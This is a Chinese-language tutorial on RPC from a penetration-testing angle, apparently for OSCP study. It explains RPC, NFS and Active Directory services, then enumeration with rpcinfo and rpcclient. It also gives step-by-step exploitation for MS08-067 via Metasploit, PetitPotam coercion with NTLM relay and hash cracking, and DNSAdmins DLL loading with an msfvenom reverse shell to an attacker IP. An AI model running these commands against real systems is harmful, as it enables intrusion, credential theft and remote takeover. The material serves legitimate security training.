以渗透测试视角深入剖析 RPC 协议

远程过程调用(Remote Procedure Call,RPC)协议是一种允许程序在不同计算机上执行代码的通信协议。Windows Active Directory(AD)环境大量使用RPC协议进行远程管理和信息查询,因此在渗透测试中,对RPC协议的理解和利用至关重要。


一、RPC 的基础原理

1.1 什么是 RPC?

RPC 是一种让程序能够跨网络调用远程服务的机制。它的核心理念是让开发者像调用本地函数一样使用远程资源,而无需直接处理底层的网络协议(如 TCP/IP)或数据传输细节。RPC 最早由 Sun Microsystems 在 1980 年代提出,旨在简化分布式系统的开发。如今,它被广泛应用于 Unix/Linux 和 Windows 系统中。

想象一下这样的场景:你在本地写了一个函数 get_user_info(),但实际数据存储在另一台服务器上。RPC 的作用就是“伪装”这个函数,让你感觉它就在本地运行,而实际上它通过网络从远程服务器获取数据并返回结果。这种“透明性”是 RPC 的最大魅力。

1.2 RPC 的核心组件

要理解 RPC 如何工作,我们需要先看看它的基本构成:

  • 客户端存根(Client Stub)
    • 一个代理模块,负责将函数调用转换为网络请求。它会把参数打包(序列化,marshalling)成适合传输的格式。
  • 服务器存根(Server Stub)
    • 在服务器端接收请求,解包参数(反序列化,unmarshalling),调用实际的函数,然后将结果返回给客户端。
  • RPC 运行时库
    • 处理网络通信的细节,比如建立连接、发送数据、管理超时和错误。
  • 端口映射服务
    • 一个中介服务,负责将 RPC 的“程序号”(Program Number)映射到具体的网络端口。在 Unix 中是 rpcbind,在 Windows 中是 RPC Endpoint Mapper。
1.3 RPC 的端口机制:固定与动态的平衡

RPC 的通信依赖于网络端口,但它不像 HTTP(80)或 SSH(22)那样固定在一个端口。它的端口机制分为两类:

  • 固定端口
    • Unix/Linux:111 端口,由 rpcbind(或 portmapper)监听,负责服务注册和查询。
    • Windows:135 端口,由 RPC Endpoint Mapper 监听,功能类似。
  • 动态端口
    • 具体服务启动时,RPC 会分配一个高位端口(Unix 通常是 1024-65535,Windows 默认是 49152-65535)。
    • 这些端口是临时的,由端口映射服务动态分配。
1.4 RPC 的工作流程:一步步揭秘

假设你在 Unix 系统上使用 NFS(Network File System)挂载一个远程目录,RPC 的工作流程如下:

  1. 服务端注册
    • NFS 服务启动时,向 rpcbind(111 端口)注册,告诉它“我是 NFS,程序号 100003,我的端口是 2049”。
  2. 客户端查询
    • 客户端联系 111 端口,询问:“程序号 100003 在哪个端口?”
  3. 映射响应
    • rpcbind 回复:“NFS 在 2049 端口。”
  4. 直接通信
    • 客户端连接到 2049 端口,开始文件操作。

这种流程确保了服务的灵活性:即使具体端口变化,客户端也能通过固定端口找到目标。


二、RPC 的应用场景

RPC 的应用范围非常广泛,几乎涵盖了所有需要分布式通信的场景。以下是它在 Unix/Linux 和 Windows 环境中支持的主要服务。

2.1 Unix/Linux 环境中的 RPC 服务

在 Unix/Linux 系统中,RPC 是许多传统网络服务的基础,尤其是在文件共享和认证领域。

  1. NFS(Network File System)

    • 简介
      NFS 是一个允许客户端挂载远程文件系统的协议,广泛用于 Unix 环境。它最初由 Sun 开发,现在已是分布式存储的标准。
    • RPC 依赖
      NFSv2 和 NFSv3 是基于 RPC 的协议。它们通过 rpcbind(111 端口)注册多个服务组件:
      • nfsd:核心文件服务,默认固定在 2049 端口,程序号 100003。
      • mountd:处理挂载请求,通常分配动态端口,程序号 100005。
      • lockd:管理文件锁,动态端口,程序号 100021。
    • 运行示例
      使用 rpcinfo 查看:
      rpcinfo -p 192.168.1.10
      
      输出:
      program vers proto   port  service
      100000    2   tcp    111  portmapper
      100003    3   tcp   2049  nfs
      100005    3   tcp  32765  mountd
      100021    1   tcp  32766  nlockmgr
      
    • NFSv4 的变化
      NFSv4 将所有功能整合到 2049 端口,减少了对动态端口的依赖,但仍可选使用 111 端口进行兼容。
  2. RPC.statd

    • 简介
      这是 NFS 的辅助服务,用于跟踪文件锁状态,确保客户端在服务器重启后能恢复锁。
    • RPC 依赖
      通过 rpcbind 分配动态端口,程序号通常是 100024。
    • 安全隐患
      历史上,rpc.statd 存在缓冲区溢出漏洞(如 CVE-2000-0666),曾被攻击者利用执行任意代码。
  3. RPC.rquotad

    • 简介
      提供远程磁盘配额查询,允许管理员检查用户的存储使用情况。
    • RPC 依赖
      通过 rpcbind 注册,动态端口,程序号 100011。
    • 使用场景
      常见于老旧 Unix 系统,现在较少使用。
  4. NIS(Network Information Service)

    • 简介
      NIS(曾称 Yellow Pages)是一个分布式认证系统,用于同步用户账户和配置信息。
    • RPC 依赖
      通过 rpcbind 注册服务,如 ypbind(程序号 100007)和 ypserv(程序号 100004)。
    • 典型用途
      在企业环境中集中管理用户密码。
2.2 Windows 环境中的 RPC 服务

在 Windows 系统中,RPC 的实现更加复杂,广泛用于本地和分布式服务。

  1. SMB(Server Message Block)

    • 简介
      SMB 是 Windows 的文件和打印共享协议,早期版本(如 SMBv1)与 NetBIOS 紧密相关。
    • RPC 依赖
      SMBv1 使用 RPC 调用 NetBIOS 服务(端口 139),处理会话管理和名称解析。
    • 现代变化
      SMBv2 和 SMBv3 直接使用 445 端口,但某些管理功能(如共享枚举)仍可能通过 RPC。
  2. DCOM(Distributed Component Object Model)

    • 简介
      DCOM 是 Windows 的分布式对象框架,扩展了 COM(组件对象模型)到网络环境。
    • RPC 依赖
      DCOM 完全基于 RPC,通过 135 端口的 Endpoint Mapper 分配动态端口。
    • 使用场景
      例如,远程调用 Excel 对象生成报表。
  3. WMI(Windows Management Instrumentation)

    • 简介
      WMI 是 Windows 的管理框架,支持系统监控和远程命令执行。
    • RPC 依赖
      通过 RPC 调用(如 DCOM over RPC),客户端连接到 135 端口,再跳转到动态端口。
    • 示例
      Get-WmiObject -Class Win32_OperatingSystem -ComputerName 192.168.1.10
      

三、Active Directory 中的 RPC

在 Windows Active Directory(AD)环境中,RPC 的重要性达到了顶峰。AD 是一个分布式目录服务,依赖多台域控制器(Domain Controller,DC)之间的协同工作,而 RPC 正是实现这一协作的关键机制。

3.1 AD 的核心服务与 RPC 的关系

以下是 AD 中依赖 RPC 的主要服务及其具体实现:

  1. AD 复制(Active Directory Replication)

    • 功能
      AD 复制确保所有 DC 上的目录数据(如用户、组、计算机对象)保持一致。
    • RPC 实现
      • DC 之间的复制通过 RPC 协议完成。
      • 客户端首先连接到 135 端口的 RPC Endpoint Mapper,获取复制服务的动态端口。
      • 数据传输在动态端口(默认 49152-65535)上进行。
    • 工具示例
      repadmin /replsummary
      
      输出显示复制状态:
      Source DSA          largest delta   fails/total
      DC01                15m:20s         0 / 5
      
    • 渗透测试意义
      如果能嗅探复制流量,可能捕获 NTLM 哈希。
  2. Netlogon 服务

    • 功能
      处理域用户的登录验证和计算机的信任关系。
    • RPC 实现
      • 客户端通过 RPC 调用 DC 的 Netlogon 服务(程序号 12345678-1234-abcd-ef00-0123456789ab)。
      • 通信从 135 端口开始,跳转到动态端口。
    • 攻击点
      使用 rpcclient 枚举用户:
      rpcclient -U "" -N 10.10.10.10
      rpcclient $> enumdomusers
      
      输出:
      user:[Administrator] rid:[0x1f4]
      
  3. Kerberos 认证

    • 功能
      AD 的主要认证协议,使用票据(Ticket)验证身份。
    • RPC 联系
      • Kerberos 核心通信使用 88 端口,但某些管理功能(如票据分发服务的配置)通过 RPC。
      • 例如,KDC(Key Distribution Center)与客户端的复杂交互可能涉及 RPC。
    • 渗透测试
      结合 NTLM 中继攻击,利用 RPC 强制 DC 认证。
  4. DNS 服务(AD 集成)

    • 功能
      AD 依赖 DNS 解析域控制器和服务位置(SRV 记录)。
    • RPC 实现
      • Windows DNS 服务器通过 RPC 与 DC 通信,处理动态更新。
      • 示例:DNSAdmins 组利用 RPC 加载恶意 DLL:
        dnscmd DC01 /config /serverlevelplugindll \\10.10.15.45\kali\privesc.dll
        
    • 端口:135 + 动态端口(辅助 53 端口的 DNS 查询)。
  5. Group Policy(组策略)

    • 功能
      分发配置和安全策略到客户端。
    • RPC 实现
      • 客户端通过 RPC 从 DC 下载 GPO 文件(存储在 SYSVOL)。
      • 通信从 135 端口跳转到动态端口。
    • 攻击点
      修改 GPO 分发恶意脚本,需 RPC 权限。
3.2 RPC 在 AD 中的通信流程

让我们以用户登录为例,详细看看 RPC 的作用:

  1. 客户端发起请求
    • 用户输入凭据,客户端联系 DC 的 135 端口。
  2. 服务定位
    • RPC Endpoint Mapper 返回 Netlogon 服务的动态端口(如 49153)。
  3. 认证过程
    • 客户端连接到 49153,发送凭据验证请求。
  4. 结果返回
    • DC 验证成功后,通过同一端口返回会话密钥。
3.3 其他 AD 相关服务
  • FRS(File Replication Service)
    • 旧版 AD 文件复制(如 SYSVOL),通过 RPC 同步。
  • DFS(Distributed File System)
    • 管理分布式共享,RPC 协调命名空间。
  • Certificate Services
    • 证书颁发与 DC 的通信,部分功能依赖 RPC。

四、RPC 服务与渗透测试

在渗透测试中,尤其是 OSCP 这样的实战考试环境中,远程过程调用(RPC)不仅仅是一个技术名词,更是打开目标系统大门的钥匙。无论是 Unix/Linux 系统中的 NFS 服务,还是 Windows Active Directory(AD)中的域服务,RPC 都提供了丰富的攻击面。它的端口(如 111、135)和动态特性使其成为信息收集和权限提升的理想目标。

4.1 枚举 RPC 服务:揭开目标的面纱

在渗透测试的侦察阶段,枚举 RPC 服务是第一步。通过识别目标机器上运行的 RPC 服务,我们可以快速判断潜在的攻击向量。以下是针对 Unix/Linux 和 Windows 环境的枚举方法,以及它们的具体实现和优化技巧。

4.1.1 Linux 环境:111 端口
  • 工具:rpcinfo

    • 功能rpcinfo 是 Linux 下查询 RPC 服务的标准工具,通过与 111 端口的 rpcbind 交互,列出目标支持的服务及其端口。
    • 命令示例
      rpcinfo -p 10.10.10.10
      
      输出:
      program vers proto   port  service
      100000    2   tcp    111  portmapper
      100003    3   tcp   2049  nfs
      100005    3   tcp  32765  mountd
      100021    1   tcp  32766  nlockmgr
      
    • 输出解读
      • 100003 (nfs):NFS 服务,固定在 2049 端口。
      • 100005 (mountd):挂载服务,动态端口(这里是 32765)。
      • 100021 (nlockmgr):文件锁服务,动态端口(32766)。
    • 原理
      rpcinfo 发送一个 RPC 调用到 111 端口的 rpcbind,请求目标的程序号(Program Number)和端口映射表。rpcbind 响应后,返回所有注册的服务及其详细信息。这种机制依赖于 RPC 的开放性,但在未受限的系统中可能泄露关键服务。
  • 优化建议

    • 批量扫描:在 OSCP 的子网(如 10.10.10.0/24)中,快速枚举所有主机的 RPC 服务:
      for ip in $(seq 1 254); do rpcinfo -p 10.10.10.$ip >> rpc_services.txt 2>/dev/null; done
      
      • 2>/dev/null:忽略无响应的主机,减少输出噪音。
    • 结合 NFS 枚举:如果发现 NFS(100003),立即使用 showmount 检查共享目录:
      showmount -e 10.10.10.10
      
      输出:
      Export list for 10.10.10.10:
      /shared  *
      
      如果共享对所有人开放(*),尝试挂载:
      mkdir /mnt/nfs
      mount -t nfs 10.10.10.10:/shared /mnt/nfs
      ls /mnt/nfs
      
4.1.2 Windows 环境:135 端口
  • 工具:rpcclient

    • 功能rpcclient 是 Samba 套件中的工具,用于与 Windows RPC 服务交互,尤其在 AD 环境中枚举用户、组和 SID。
    • 命令示例
      rpcclient -U "" -N 10.10.10.10
      rpcclient $> enumdomusers
      
      输出:
      user:[Administrator] rid:[0x1f4]
      user:[Guest] rid:[0x1f5]
      user:[krbtgt] rid:[0x1f6]
      
    • 选项说明
      • -U "":空用户名,表示匿名登录。
      • -N:无需密码。
    • 原理
      rpcclient 通过 135 端口的 RPC Endpoint Mapper 连接目标,查询 NetlogonSAMR(Security Account Manager Remote)服务的动态端口。然后,它调用这些服务的 RPC 接口(如 SamrEnumDomainUsers),枚举域用户。Windows 默认允许匿名枚举(若未禁用),这使得攻击者能快速收集用户列表。
  • 优化建议

    • 匿名测试:优先尝试匿名连接,如果失败,结合已获得的低权限凭据(如 SMB 枚举得到的用户密码)。
      rpcclient -U "user%password" 10.10.10.10
      
    • 其他命令
      • 枚举域组:enumdomgroups
      • 查询用户信息:queryuser 0x1f4(RID 为 500 的 Administrator)。
    • 自动化:编写脚本循环测试:
      for ip in $(seq 1 254); do rpcclient -U "" -N 10.10.10.$ip -c "enumdomusers" >> users.txt 2>/dev/null; done
      

4.2 漏洞利用:深入 RPC 的攻击面

4.2.1 MS08-067(NetAPI 漏洞)
  • 漏洞背景
    MS08-067 是 2008 年微软修补的一个严重漏洞,影响 Windows XP、Server 2003 等旧系统。它位于 NetAPI 的 RPC 接口(netapi32.dll),允许远程代码执行(RCE)。漏洞编号 CVE-2008-4250,因“Conficker”蠕虫而臭名昭著。

  • 原理

    • 触发点:漏洞存在于 NetPathCanonicalize 函数中,该函数处理路径规范化。
    • 问题:函数未正确验证输入缓冲区,导致栈溢出。攻击者可发送特制 RPC 请求,覆盖返回地址,执行任意代码。
    • RPC 流程
      1. 客户端连接 135 端口,查询 NetAPI 服务(UUID 4b324fc8-1670-01d3-1278-5a47bf6ee188)。
      2. Endpoint Mapper 返回动态端口(如 49153)。
      3. 客户端发送恶意 payload,触发溢出。
  • 利用步骤

    1. 扫描目标
      nmap -p 135,445 --script smb-vuln-ms08-067 10.10.10.10
      
      输出:
      PORT    STATE SERVICE
      135/tcp open  msrpc
      445/tcp open  microsoft-ds
      | smb-vuln-ms08-067:
      |   VULNERABLE: Microsoft Windows SMB MS08-067
      
    2. Metasploit 利用
      msfconsole
      use exploit/windows/smb/ms08_067_netapi
      set RHOST 10.10.10.10
      set PAYLOAD windows/meterpreter/reverse_tcp
      set LHOST 10.10.15.45
      set LPORT 4444
      exploit
      
    3. 结果
      成功后,获得 Meterpreter shell,权限通常为 SYSTEM。
  • 注意事项

    • 适用性:仅对未打补丁的旧系统有效(XP、2003)。
    • 防火墙:需 135 和动态端口开放。
    • 优化:若目标系统较新,跳过此漏洞,节省时间。
4.2.2 PetitPotam:强制认证的艺术
  • 漏洞背景
    PetitPotam 是 2021 年发现的一种攻击技术(非传统漏洞),利用 RPC 接口 MS-EFSRPC(Encrypting File System Remote Protocol)强制域控制器发起 NTLM 认证。结合 NTLM 中继,可窃取高权限凭据。

  • 原理

    • 触发点EfsRpcOpenFileRaw 函数(UUID c681d488-d850-11d0-8c52-00c04fd90f7e)允许未认证调用。
    • 过程
      1. 攻击者通过 RPC 调用 EfsRpcOpenFileRaw,指定一个 UNC 路径(如 \\attacker_ip\share)。
      2. DC 尝试访问该路径,发起 NTLM 认证。
      3. 攻击者用 Responder 或 NTLMrelayx 中继认证到其他服务(如 SMB、LDAP),提升权限。
    • 关键:依赖 DC 的出站 NTLM 认证未受限。
  • 利用步骤

    1. 准备攻击机
      • 启动 Responder 捕获 NTLM 哈希:
        responder -I eth0
        
      • 或用 NTLMrelayx 中继:
        ntlmrelayx.py -t smb://10.10.10.10
        
    2. 触发 PetitPotam
      python3 petitpotam.py -u "low_priv_user" -p "password" 10.10.10.100 10.10.15.45
      
      • 10.10.10.100:目标 DC。
      • 10.10.15.45:攻击者 IP。
    3. 结果
      • Responder 捕获 NTLMv2 哈希,可用 Hashcat 破解:
        hashcat -m 5600 hash.txt rockyou.txt
        
      • 或 NTLMrelayx 直接获得 shell。
  • 注意事项

    • 前提:需要低权限凭据触发 RPC 调用。
    • 防御:目标启用 SMB 签名或禁用 NTLM 可能失效。
    • 优化:在 OSCP 中,优先测试 Responder,若失败再尝试中继。
4.2.3 DNSAdmins 提权:DLL 注入的巧妙利用
  • 漏洞背景
    DNSAdmins 组成员可通过 RPC 修改 DNS 服务配置,加载恶意 DLL,借此提升到 SYSTEM 权限。这是 AD 环境中的经典提权技巧。

  • 原理

    • 触发点:DNS 服务(dns.exe)支持加载自定义插件 DLL,通过注册表项 ServerLevelPluginDll 指定。
    • 权限
      • DNSAdmins 组可通过 dnscmd 修改此项。
      • dns.exe 以 SYSTEM 权限运行,加载的 DLL 继承此权限。
    • 过程
      1. 攻击者用 RPC 调用 dnscmd 设置 DLL 路径(UNC 路径指向攻击者 SMB 共享)。
      2. 重启 DNS 服务,触发 DLL 加载。
      3. DLL 执行反弹 shell 代码。
  • 利用步骤

    1. 生成恶意 DLL
      msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.45 LPORT=4444 -f dll -o privesc.dll
      
    2. 托管 SMB 共享
      python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali /path/to/dll
      
    3. 配置 DNS
      在目标机器上(需 DNSAdmins 权限 shell):
      dnscmd DC01 /config /serverlevelplugindll \\10.10.15.45\kali\privesc.dll
      
    4. 重启 DNS 服务
      sc stop dns
      sc start dns
      
    5. 监听反弹 shell
      nc -lvnp 4444
      
    • 结果:获得 SYSTEM 权限 shell。
  • 注意事项

    • DLL 要求:需包含 DnsPluginInitialize 等函数,否则服务可能崩溃。
    • 网络:目标需能访问攻击者 IP 的 445 端口。
    • 优化:提前测试 DLL 稳定性,避免浪费时间。

4.3 端口扫描与侦察:锁定 RPC 攻击面

  • 命令

    nmap -p 111,135,2049,49152-65535 -sV -T4 10.10.10.10
    
    • -sV:服务版本探测。
    • -T4:加速扫描。
  • 结果分析

    • 111/tcp open rpcbind:Linux RPC 服务,可能有 NFS。
      • 进一步用 rpcinfo -p 确认。
    • 135/tcp open msrpc:Windows RPC,可能为 AD。
      • 检查动态端口(如 49152+)是否有 AD 服务。
    • 2049/tcp open nfs:NFS 文件共享,直接尝试挂载。
    • 49152-65535:Windows 动态端口,可能运行 Netlogon 或 DNS。
  • 优化建议

    • 缩小范围:若时间紧迫,优先扫描 111、135、2049。
    • 脚本辅助:使用 Nmap 脚本:
      nmap --script rpcinfo 10.10.10.10 -p 111
      

总结

RPC 的广泛性与重要性

  • Unix/Linux 生态:在 Unix/Linux 系统中,NFS(网络文件系统)、NIS(网络信息服务)等关键功能依赖 111 端口的 rpcbind 服务,通过其端口映射机制实现分布式通信。
  • Windows/AD 环境:在 Windows Active Directory 中,AD 复制、Netlogon、DNS 等核心服务以 135 端口的 RPC Endpoint Mapper 为枢纽,支撑起域环境的协同运作。

RPC 服务的渗透手法

  1. 快速侦察
    • 扫描 111/135/2049,结合 rpcinforpcclient
  2. 攻击策略
    • NFS 共享 > RPC 漏洞 > AD 提权。
  3. 工具链
    • nmaprpcinforpcclientmsfconsoleshowmount
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值